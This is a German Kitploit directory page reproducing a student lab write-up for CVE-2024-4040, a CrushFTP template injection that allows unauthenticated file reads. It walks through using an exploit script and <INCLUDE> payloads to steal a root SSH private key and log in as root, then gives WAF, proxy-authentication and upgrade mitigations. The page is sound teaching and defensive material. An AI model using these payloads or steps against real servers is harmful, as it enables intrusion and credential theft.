Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CrushFTP-SSTI-LFI-Proof-of-Concept — Proof-of-concept für CVE-2024-4040 (CrushFTP SSTI -> nicht authentifiziertes LFI) in einer kontrollierten CS443-Lab-Umgebung - nur für Bildungs-/autorisierte Zwecke. | Kitploit
Tools/GitHubGitHub/cthhhhhh/crushftp-ssti-lfi-proof-of-concept
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungLabs & Praxis
GitHubcthhhhhh/crushftp-ssti-lfi-proof-of-concept

CrushFTP-SSTI-LFI-Proof-of-Concept

Proof-of-concept für CVE-2024-4040 (CrushFTP SSTI -> nicht authentifiziertes LFI) in einer kontrollierten CS443-Lab-Umgebung - nur für Bildungs-/autorisierte Zwecke.

Repository anzeigen
2vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-4040 — CrushFTP SSTI / LFI Proof of Concept

Nur für Bildungs- und autorisierte Laborzwecke.
CS443 Software- und Systemsicherheit — kontrollierte lokale Docker-Umgebung.


Schwachstellenübersicht

FeldDetails
CVECVE-2024-4040
Betroffene SoftwareCrushFTP < 10.7.1 (v10-Zweig) / < 11.1.0 (v11-Zweig)
Art der SchwachstelleServer-Side Template Injection (SSTI) → Nicht authentifiziertes Lesen lokaler Dateien
CVSS-Score9.8 Kritisch
AuswirkungenNicht authentifizierte Angreifer können beliebige Dateien vom Server-Dateisystem lesen

Das WebInterface von CrushFTP wertet Template-Ausdrücke im path-Parameter des zip-Befehls ohne Bereinigung aus. Ein nicht authentifizierter Angreifer kann anonyme Sitzungscookies erlangen und diese Cookies verwenden, um Template-Payloads ({working_dir}, <INCLUDE>…</INCLUDE>) zu übergeben, die der Server auswertet und zurückgibt — was das Lesen beliebiger Dateien auf dem gesamten Host ermöglicht.


Laborumgebung

KomponenteWert
Zielhttp://localhost:8080
Basis-PoC-CrushFTP-Version10.3.0 (absichtlich verwundbar)
Testumgebung für Gegenmaßnahme 3Separater Container mit CrushFTP 11.x (gepatchter Zweig)
SSH-Port (Container)2222 → 22
Admin-Zugangsdatenadmin / admin
Container-LaufzeitDocker (Compose)

Voraussetzungen

root@kitploit:~
pip install requests rich

Skripte

SkriptQuelleZweck
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCVollständiger SSTI/LFI-Exploit — Sitzungsdiebstahl, Lesen beliebiger Dateien
recon.pyDieses RepositoryVersionserkennung, Live-SSTI-Test, Bestätigung der Schwachstelle

Proof-of-Concept-Durchlauf

Schritt 1 — Labor starten

root@kitploit:~
docker-compose up -d

Warte etwa 10 Sekunden, bis CrushFTP vollständig initialisiert ist, bevor du die Skripte ausführst. Hier ist kein separater Recon-Schritt erforderlich, da crushed.py während der Ausführung bereits prüft, ob ein Exploit möglich ist.


Schritt 2 — SSH-Private-Key per LFI stehlen

root@kitploit:~
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

Das Skript wird:

  1. Eine anonyme CrushAuth-/currentAuth-Sitzung von /WebInterface/ abrufen
  2. SSTI verwenden, um die Template-Auswertung zu bestätigen und den Server-Hostnamen preiszugeben
  3. {working_dir} verwenden, um das CrushFTP-Installationsverzeichnis aufzulösen
  4. <INCLUDE>/root/.ssh/id_rsa</INCLUDE> verwenden, um die Zieldatei zu lesen
  5. Den rohen Dateiinhalt auf stdout ausgeben

Kopiere den Private-Key-Block aus der Ausgabe (alles von -----BEGIN OPENSSH PRIVATE KEY----- bis -----END OPENSSH PRIVATE KEY-----).


Schritt 3 — Den gestohlenen Schlüssel speichern

root@kitploit:~
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Schritt 4 — Per SSH als Root in den Container einloggen

root@kitploit:~
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Schritt 5 — Root-Zugriff bestätigen

root@kitploit:~
whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

Diagramm der Angriffskette

root@kitploit:~
Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

Bekannte Hauptprobleme in crushed.py

ProblemStelleDetails
Fehlende AbhängigkeitZeile 6–9Erfordert pip install rich vor der Ausführung
Instabiles XML-ParsingZeilen 86, 140Stürzt bei Nicht-XML-Serverantworten ab; keine ParseError-Behandlung
Token-Regex zu strengZeilen 160–161Das Muster CrushAuth=…; currentAuth=… passt möglicherweise nicht auf alle sessions.obj-Formate
Nur HTTP 404Zeile 53Cookie-Abruf gelingt nur bei 404; bei anderen Statuscodes wird stillschweigend fortgefahren

Gegenmaßnahmen

Gegenmaßnahme 1 — Web Application Firewall (NGINX + ModSecurity)

Übersicht

Eine WAF fungiert als Reverse-Proxy, der eingehenden HTTP/S-Datenverkehr prüft, bevor er CrushFTP erreicht. Mit NGINX und ModSecurity werden bösartige Anfragen, die CVE-2024-4040 ausnutzen, am Netzwerkrand blockiert, ohne CrushFTP selbst zu verändern.

Wie sie CVE-2024-4040 entschärft

  • Blockiert Path-Traversal-Muster (z. B. ../, %2e%2e) in Anfrage-URIs und Cookies
  • Verhindert, dass nicht authentifizierte VFS-Escape-Anfragen CrushFTP erreichen
  • Protokolliert und verweigert verdächtige Payloads, bevor sie die Anwendung erreichen

Docker-Einrichtung

Verwende Mitigation 1/docker-compose.yaml:

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX-Konfiguration

Verwende Mitigation 1/nginx.conf:

root@kitploit:~
worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Datenverkehrsfluss

root@kitploit:~
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

Einschränkungen

  • Behebt die Ursache nicht – CrushFTP bleibt verwundbar, wenn die WAF umgangen wird
  • Erfordert Regelupdates, da Angreifer Verschleierungstechniken entwickeln

Gegenmaßnahme 2 — Anonymen Benutzerzugriff deaktivieren

Übersicht

CVE-2024-4040 ist ohne Authentifizierung ausnutzbar. In diesem Labor wird anonymer Zugriff auf der NGINX-Ebene blockiert, indem ein Authorization-Header verlangt wird, bevor sensible Routen an CrushFTP weitergeleitet werden.

Wie sie CVE-2024-4040 entschärft

  • Exploit-Skripte wie crushed.py verlassen sich auf nicht authentifizierten Zugriff; Anfragen ohne Anmeldedaten werden mit 401 abgelehnt
  • Anfragen an /WebInterface/ und / werden verweigert, sofern keine Authentifizierungsdaten vorhanden sind
  • Verringert die Gefährdung verwundbarer Endpunkte durch nicht authentifizierte Benutzer

Docker-Einrichtung (exakt aus Mitigation 2/docker-compose.yaml)

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX-Richtlinie (exakt aus Mitigation 2/nginx.conf)

root@kitploit:~
events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Block unauthenticated access to WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Block everything else unauthenticated
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

Über Docker verifizieren

root@kitploit:~
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized

# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

Einschränkungen

  • Behebt die zugrunde liegende Schwachstelle nicht; authentifizierte Benutzer können weiterhin gefährdet sein, wenn die Exploit-Logik angepasst wird
  • Die Durchsetzung hängt von der Proxy-Platzierung und der korrekten Header-Behandlung vor CrushFTP ab

Gegenmaßnahme 3 — Update auf CrushFTP Version 11

Übersicht

Ein Upgrade auf CrushFTP 11 ist der effektivste und dauerhafteste Fix. Der Patch fügt eine strenge Eingabevalidierung bei der Auflösung von VFS-Pfaden hinzu und beseitigt damit die Ursache von CVE-2024-4040.

Wie sie CVE-2024-4040 entschärft

  • Erzwingt striktes Sandboxing von VFS-Pfaden – Escape-Versuche werden auf Anwendungsebene abgelehnt
  • Exploit-Skripte wie crushed.py funktionieren gegen Version 11 nicht mehr
  • Der Fix wird auf Quellcode-Ebene angewendet und nicht durch externe Kontrollen überdeckt

Implementierung

Aktualisiere dein Dockerfile, um CrushFTP 11 zu verwenden:

root@kitploit:~
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

Baue den Container neu:

root@kitploit:~
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

Überprüfen, ob der Patch funktioniert

root@kitploit:~
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080

# Expected: exploit returns no output or connection error
Tool herunterladen